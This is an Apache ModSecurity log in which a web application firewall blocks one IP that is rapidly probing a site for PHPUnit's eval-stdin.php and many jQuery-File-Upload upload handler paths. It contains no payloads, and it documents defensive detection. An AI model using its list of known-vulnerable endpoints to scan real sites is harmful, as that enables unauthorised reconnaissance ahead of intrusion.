[Fri May 22 22:13:42.009959 2026] [:error] [pid 15583:tid 15607] [client 134.199.156.173:55036] [client 134.199.156.173] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ahBklnnaOncRcIm17YUq-AAAABM"]
[Fri May 22 22:13:42.046062 2026] [:error] [pid 15583:tid 15597] [client 134.199.156.173:55052] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.filer/php/readme.txt"] [unique_id "ahBklnnaOncRcIm17YUq_QAAAAk"]
[Fri May 22 22:13:42.060405 2026] [:error] [pid 15583:tid 15610] [client 134.199.156.173:55022] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.filer/php/readme.txt"] [unique_id "ahBklnnaOncRcIm17YUq_gAAABY"]
[Fri May 22 22:13:42.070779 2026] [:error] [pid 15583:tid 15599] [client 134.199.156.173:55062] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUq_wAAAAs"]
[Fri May 22 22:13:42.074474 2026] [:error] [pid 15583:tid 15608] [client 134.199.156.173:55036] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.filer/php/readme.txt"] [unique_id "ahBklnnaOncRcIm17YUrAAAAABQ"]
[Fri May 22 22:13:42.102773 2026] [:error] [pid 15583:tid 15590] [client 134.199.156.173:55078] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrAQAAAAI"]
[Fri May 22 22:13:42.113447 2026] [:error] [pid 15585:tid 15659] [client 134.199.156.173:55084] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahBkliKb-vB41AF-LC2jjAAAAIw"]
[Fri May 22 22:13:42.133140 2026] [:error] [pid 58782:tid 58799] [client 134.199.156.173:55110] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz0gAAAQ8"]
[Fri May 22 22:13:42.133140 2026] [:error] [pid 15583:tid 15588] [client 134.199.156.173:55096] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrAgAAAAA"]
[Fri May 22 22:13:42.136164 2026] [:error] [pid 15583:tid 15602] [client 134.199.156.173:55126] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrAwAAAA4"]
[Fri May 22 22:13:42.145630 2026] [:error] [pid 15583:tid 15589] [client 134.199.156.173:55130] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrBAAAAAE"]
[Fri May 22 22:13:42.155379 2026] [:error] [pid 15583:tid 15603] [client 134.199.156.173:55136] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrBQAAAA8"]
[Fri May 22 22:13:42.167909 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:55152] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrBgAAABI"]
[Fri May 22 22:13:42.168797 2026] [:error] [pid 15679:tid 15699] [client 134.199.156.173:55168] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBklih8tgGc38WJ-Gx3sQAAANI"]
[Fri May 22 22:13:42.178411 2026] [:error] [pid 15679:tid 15682] [client 134.199.156.173:55184] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBklih8tgGc38WJ-Gx3sgAAAME"]
[Fri May 22 22:13:42.179018 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:55188] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrBwAAAAM"]
[Fri May 22 22:13:42.180017 2026] [:error] [pid 15583:tid 15612] [client 134.199.156.173:55194] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrCAAAABg"]
[Fri May 22 22:13:42.191286 2026] [:error] [pid 15583:tid 15611] [client 134.199.156.173:55210] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrCQAAABc"]
[Fri May 22 22:13:42.192766 2026] [:error] [pid 58782:tid 58795] [client 134.199.156.173:55216] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz0wAAAQs"]
[Fri May 22 22:13:42.200019 2026] [:error] [pid 15583:tid 15601] [client 134.199.156.173:55220] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrCgAAAA0"]
[Fri May 22 22:13:42.202591 2026] [:error] [pid 15583:tid 15605] [client 134.199.156.173:55234] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrCwAAABE"]
[Fri May 22 22:13:42.219488 2026] [:error] [pid 15679:tid 15704] [client 134.199.156.173:55244] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBklih8tgGc38WJ-Gx3swAAANc"]
[Fri May 22 22:13:42.220323 2026] [:error] [pid 58782:tid 58792] [client 134.199.156.173:55240] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz1AAAAQg"]
[Fri May 22 22:13:42.228000 2026] [:error] [pid 15583:tid 15598] [client 134.199.156.173:55246] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset_admin/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrDAAAAAo"]
[Fri May 22 22:13:42.230346 2026] [:error] [pid 15583:tid 15593] [client 134.199.156.173:55252] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/galerie/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrDQAAAAU"]
[Fri May 22 22:13:42.230669 2026] [:error] [pid 15583:tid 15604] [client 134.199.156.173:55266] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrDgAAABA"]
[Fri May 22 22:13:42.231632 2026] [:error] [pid 15583:tid 15596] [client 134.199.156.173:55278] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/frontend/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrDwAAAAg"]
[Fri May 22 22:13:42.233944 2026] [:error] [pid 15583:tid 15595] [client 134.199.156.173:55286] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrEAAAAAc"]
[Fri May 22 22:13:42.242315 2026] [:error] [pid 15583:tid 15607] [client 134.199.156.173:55302] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrEQAAABM"]
[Fri May 22 22:13:42.249845 2026] [:error] [pid 15583:tid 15600] [client 134.199.156.173:55308] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrEgAAAAw"]
[Fri May 22 22:13:42.251884 2026] [:error] [pid 15583:tid 15609] [client 134.199.156.173:55324] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrEwAAABU"]
[Fri May 22 22:13:42.261899 2026] [:error] [pid 15583:tid 15594] [client 134.199.156.173:55328] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrFAAAAAY"]
[Fri May 22 22:13:42.264648 2026] [:error] [pid 15585:tid 15661] [client 134.199.156.173:55330] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBkliKb-vB41AF-LC2jjQAAAI4"]
[Fri May 22 22:13:42.265508 2026] [:error] [pid 15584:tid 15639] [client 134.199.156.173:55336] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEWAAAAFM"]
[Fri May 22 22:13:42.274612 2026] [:error] [pid 15584:tid 15629] [client 134.199.156.173:55352] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEWQAAAEk"]
[Fri May 22 22:13:42.277441 2026] [:error] [pid 15584:tid 15636] [client 134.199.156.173:55362] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEWgAAAFA"]
[Fri May 22 22:13:42.283688 2026] [:error] [pid 15585:tid 15670] [client 134.199.156.173:55368] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blueimp-jQuery-File-Upload/server/php/"] [unique_id "ahBkliKb-vB41AF-LC2jjgAAAJc"]
[Fri May 22 22:13:42.291440 2026] [:error] [pid 58782:tid 58804] [client 134.199.156.173:55380] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/jQuery-File-Upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz1QAAARQ"]
[Fri May 22 22:13:42.294508 2026] [:error] [pid 58813:tid 58831] [client 134.199.156.173:55394] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VEQAAAU8"]
[Fri May 22 22:13:42.303047 2026] [:error] [pid 58782:tid 58787] [client 134.199.156.173:55408] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz1gAAAQM"]
[Fri May 22 22:13:42.315060 2026] [:error] [pid 58782:tid 58807] [client 134.199.156.173:55416] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz1wAAARc"]
[Fri May 22 22:13:42.320317 2026] [:error] [pid 15584:tid 15634] [client 134.199.156.173:55418] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileupload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEWwAAAE4"]
[Fri May 22 22:13:42.345072 2026] [:error] [pid 58782:tid 58805] [client 134.199.156.173:55420] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz2AAAARU"]
[Fri May 22 22:13:42.346969 2026] [:error] [pid 15584:tid 15622] [client 134.199.156.173:55424] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEXAAAAEI"]
[Fri May 22 22:13:42.364451 2026] [:error] [pid 58782:tid 58793] [client 134.199.156.173:55436] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz2QAAAQk"]
[Fri May 22 22:13:42.372534 2026] [:error] [pid 58782:tid 58802] [client 134.199.156.173:55448] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz2gAAARI"]
[Fri May 22 22:13:42.386925 2026] [:error] [pid 58813:tid 58816] [client 134.199.156.173:55456] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VEgAAAUA"]
[Fri May 22 22:13:42.387794 2026] [:error] [pid 58782:tid 58785] [client 134.199.156.173:55458] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz2wAAAQE"]
[Fri May 22 22:13:42.389846 2026] [:error] [pid 15584:tid 15623] [client 134.199.156.173:55470] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEXQAAAEM"]
[Fri May 22 22:13:42.395214 2026] [:error] [pid 15585:tid 15668] [client 134.199.156.173:55472] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahBkliKb-vB41AF-LC2jjwAAAJU"]
[Fri May 22 22:13:42.407757 2026] [:error] [pid 58813:tid 58833] [client 134.199.156.173:55486] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VEwAAAVE"]
[Fri May 22 22:13:42.417307 2026] [:error] [pid 58813:tid 58828] [client 134.199.156.173:55502] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VFAAAAUw"]
[Fri May 22 22:13:42.428130 2026] [:error] [pid 58782:tid 58784] [client 134.199.156.173:55508] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz3AAAAQA"]
[Fri May 22 22:13:42.430372 2026] [:error] [pid 58782:tid 58808] [client 134.199.156.173:55520] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz3QAAARg"]
[Fri May 22 22:13:42.432588 2026] [:error] [pid 15679:tid 15705] [client 134.199.156.173:55536] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahBklih8tgGc38WJ-Gx3tAAAANg"]
